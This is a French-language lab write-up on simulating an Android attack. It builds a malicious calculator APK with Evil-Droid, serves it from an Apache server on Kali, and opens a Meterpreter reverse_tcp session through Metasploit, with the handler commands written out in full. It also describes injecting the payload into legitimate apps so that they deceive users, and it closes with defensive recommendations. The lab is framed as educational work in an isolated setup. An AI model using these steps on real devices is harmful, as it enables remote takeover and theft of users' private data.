HOMOTECH
Simula on d’a aque sur Android et Recommanda on
PAR :
LUSIKAMA LUDIAZO Jovani (Black)
1. INTRODUCTION
Dans le cadre de l'appren ssage des techniques offensives en cybersécurité mobile, un
laboratoire a été mis en place afin de simuler un scénario d'a aque ciblant un appareil
Android. Ce laboratoire repose sur l'u lisa on de Kali Linux comme machine d'a aque, de
l’ou l Evil-Droid pour la généra on d’une applica on Android malveillante, et de Metasploit
Framework pour l’établissement d'une session de contrôle à distance (reverse shell).
L’objec f principal de ce e manipula on est de démontrer comment un a aquant peut créer
et injecter un payload malveillant dans une applica on Android légi me, puis la faire exécuter
sur un smartphone vulnérable. Une fois l’applica on lancée, une connexion inverse
(reverse_tcp) est ini ée vers la machine Kali, où un listener Metasploit est en a ente,
perme ant ainsi l'ouverture d'une session Meterpreter.
Ce type d’exercice permet d’illustrer les risques concrets liés à l'installa on d’applica ons
issues de sources non officielles, et met en évidence la facilité avec laquelle un acteur
malveillant peut obtenir un accès distant à un appareil mobile. Le laboratoire a été conduit
dans un environnement isolé à des fins pédagogiques, avec pour objec f de mieux
comprendre les vecteurs d'a aque mobiles, l'exploita on des faiblesses humaines (ingénierie
sociale) et les mécanismes de sécurité nécessaires pour s’en prémunir.
2. OUTILS UTILISES
Machine a aquante : kali linux 2025
Framework : Evil-Droid et metasploit
Cible : Téléphone Android
3. INSTALLATION ET CONFIGURATION
Telcharger evil-droid
Lien github pour evil-droid : h ps://github.com/M4sc3r4n0/Evil-Droid
Installer toutes ses dépendances sinon Evil-Droid ne marchera pas
Lancer evil droid
Sudo ./evil-droid
Evil vérifiera automa quement les dépendances
Nous u liserons l’op on 1. Qui est la plus basique
Entrer l’adresse local de kali
Entrer le port d’écoute
Nommer votre applica on
Choisir android/meterpreter/reverse_tcp
Notre apk a été généré avec succès
Nous déplaçons l’applica on dans le dossier de notre serveur web pour télécharger
sudo mv /home/kali/PentestTools/Evil-Droid/evilapk/calculatrice.apk /var/www/html
Lançons notre serveur apache depuis kali linux et vérifions son status
sudo systemctl enable apache2
sudo systemctl status apache2
Sur notre appareil android, nous entrons l’adresse ip de notre kali linux pour acceder
au serveur
Après avoir telecharger et installer l’applica on, nous lançons la mise à l’écoute de
ce e applica on dans metasploit.
Sudo msfconsole
Use exploit/mul /handler
Set PAYLOAD android/meterpreter/reverse_tcp
Set LHOST 10.144.94.132
Set LPORT 2025
Set ExitOnSession false
exploit
BOUMM
4. Remarque
C’est la manière la plus basique d’u liser evil-droid.
L’op on 1 que nous avons u lisé génère un payload pour les téléphones Android, un payload
qui peut aussi être généré avec metasploit en u lisant la commande msfvenom.
L’op on 2 et 3 est plus avancé puisqu’elle permet d’injecter les codes dans une applica on
déjà existante. Dans ses op ons nous soume ons une applica on déjà développée, evil-droid
va la décompiler et introduire le code sans modifier le fonc onnement normal de l’applica on.
L’applica on gardera son icône d’origine. Cela est plus pra que pour tromper un u lisateur.
5. Conclusion et Recommanda on
Ce laboratoire a permis de simuler avec succès une a aque de type prise de contrôle à distance d’un
appareil Android à l’aide d’une applica on malveillante générée via Evil-Droid, exécutée sur un
terminal Android, et gérée à distance par la machine Kali Linux à l’aide de Metasploit. L’établissement
d’une session Meterpreter a illustré les capacités réelles d’un a aquant à obtenir un accès total à un
appareil mobile non protégé, comprome ant ainsi les données, la vie privée et la sécurité de
l’u lisateur.
Ce e expérience met en lumière la vulnérabilité des appareils Android face aux applica ons
installées en dehors des canaux officiels, ainsi que la puissance des ou ls disponibles en open-source
pour les pentesters… mais aussi pour les a aquants. Elle souligne la nécessité d’une vigilance
constante, d’un bon niveau de sensibilisa on des u lisateurs, et de la mise en place de mesures de
protec on adaptées.
Recommanda ons
1. Éviter les sources inconnues : Ne jamais installer d'applica ons provenant de sites non
officiels ou de liens partagés via messages ou emails non vérifiés.
2. Ac ver Google Play Protect : U liser les protec ons na ves d'Android pour détecter les
applica ons poten ellement dangereuses.
3. Me re à jour le système Android régulièrement : Les mises à jour corrigent des failles de
sécurité exploitables, comme celles u lisées par ce type de malware.
4. U liser des an virus mobiles : Bien qu’ils ne soient pas infaillibles, ils peuvent aider à
détecter certaines menaces connues.
5. Former les u lisateurs : Dans un cadre organisa onnel, sensibiliser les employés ou
étudiants à l’ingénierie sociale et aux techniques d’a aque mobiles.
6. Restreindre les permissions des applica ons : Toujours vérifier les autorisa ons demandées
par une applica on. Une applica on de lampe torche n’a, par exemple, pas besoin d’accéder
aux messages ou au micro.
7. Isoler les environnements de test : Effectuer ce type de manipula on uniquement dans des
environnements virtuels ou physiques dédiés, jamais sur un appareil personnel.
Table des matières
1. INTRODUCTION............................................................................................................................... 2
2. OUTILS UTILISES.......................................................................................................................... 2
3. INSTALLATION ET CONFIGURATION ................................................................................................ 3
4. Remarque ................................................................................................................................... 8
5. Conclusion et Recommanda on ..................................................................................................... 8
